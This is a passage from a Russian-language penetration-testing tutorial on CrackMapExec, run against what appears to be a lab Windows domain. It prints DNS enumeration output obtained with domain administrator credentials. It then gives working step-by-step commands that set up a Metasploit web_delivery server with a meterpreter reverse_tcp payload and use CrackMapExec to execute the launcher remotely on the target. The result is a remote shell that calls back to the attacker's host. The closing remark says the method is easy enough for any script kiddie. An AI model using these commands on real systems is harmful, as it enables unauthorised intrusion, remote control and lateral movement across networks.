```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M enum_dns
[!] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.p
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KM
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] IGNITE\Administrator:Ignite@987 (Pwn3d!)
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 [+] Domains retrieved: ['_msdcs.ignite.local', 'ignite.local']
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Results for _msdcs.ignite.local
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: CNAME
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 8d93763c-4e7f-4798-8be8-cbe5efdbd671._msdcs.ignite.local: WIN-S0V7
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: NS
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: SOA
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 _msdcs.ignite.local: win-s0v7kmtvld2.ignite.local. hostmaster.igni
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Results for ignite.local
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: A
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 DESKTOP-BSH36E2.ignite.local: 192.168.1.176
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 DESKTOP-LU7L00B.ignite.local: 192.168.1.107
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 DESKTOP-RGP209L.ignite.local: 192.168.1.106
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 exchange.ignite.local: 192.168.1.110
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local: 192.168.1.105
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 win-s0v7kmtvld2.ignite.local: 192.168.1.105
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: NS
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local: win-s0v7kmtvld2.ignite.local.
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 Record Type: SOA
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 ignite.local: win-s0v7kmtvld2.ignite.local. hostmaster.ignite.loca
ENUM_DNS 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Saved raw output to DNS-Enum-192.168.1.105-2020-05-02_154108.log
```

И, как вы можете видеть на изображении выше, вся информация сбрасывается на консоль.

Модуль web_delivery

Для этого модуля сначала откройте Metasploit Framework с помощью команды `msfconsole`, а затем, для запуска `web_delivery`, выполните команды:

- 1 `use exploit/multi/script/web_delivery`
- 2 `set target 2`
- 3 `set payload windows/meterpreter/reverse_tcp`
- 4 `set lhost`
- 5 `set srvmhost`
- 6 `exploit`

```
msf5 > use exploit/multi/script/web_delivery
msf5 exploit(multi/script/web_delivery) > set target 2
target => 2
msf5 exploit(multi/script/web_delivery) > set payload windows/meterpreter/reverse_tcp
payload => windows/meterpreter/reverse_tcp
msf5 exploit(multi/script/web_delivery) > set lhost 192.168.1.112
lhost => 192.168.1.112
msf5 exploit(multi/script/web_delivery) > set srvmhost 192.168.1.112
srvmhost => 192.168.1.112
msf5 exploit(multi/script/web_delivery) > exploit
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.

[*] Started reverse TCP handler on 192.168.1.112:4444
[*] Using URL: http://192.168.1.112:8080/rLNdPdZQMeYWLf
[*] Server started.
```

Это создаст ссылку, как показано на изображении выше. Скопируйте эту ссылку и удаленно выполните ее на целевой машине через CME, используя следующую команду:

- 1 crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rINdPdZQMeYWLF

```
root@kali:~# crackmapexec smb 192.168.1.105 -u 'Administrator' -p 'Ignite@987' -M web_delivery -o URL=http://192.168.1.112:8080/rINdPdZQMeYWLF
[-] Failed loading module at /usr/local/lib/python3.7/dist-packages/crackmapexec-5.0.1.dev0-py3.7.egg/cme/modules/slinky.py: No module named 'pylnk3'
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Windows Server 2016 Standard Evaluation 14393 x64 (name:WIN-S0V7KMTVLD2) (domain:IGNITE) (sig
SMB 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] IGNITE\Administrator:Ignite@987 (Pwn3d!)
WEB_DELI ... 192.168.1.105 445 WIN-S0V7KMTVLD2 [*] Executed web-delivery launcher
```

И как только приведенная выше команда будет выполнена, вы получите сессию Meterpreter и сможете удаленно манипулировать компьютером.

См. также [Полный список основных команд Meterpreter](#)

Заключение

Перечисление (Enumeration) — сложная задача в любом тестировании на проникновение. Но, как видите, с помощью CrackMapExec, это реализуется намного проще и быстрее. Горизонтальное перемещение «[Lateral Movement](#)» может занять много времени, если оно не выполняется должным образом. Но с помощью CME это делать настолько просто, что может быть по силам любому скрипт-кидди или начинающему хакеру.

ПОЛЕЗНЫЕ ССЫЛКИ: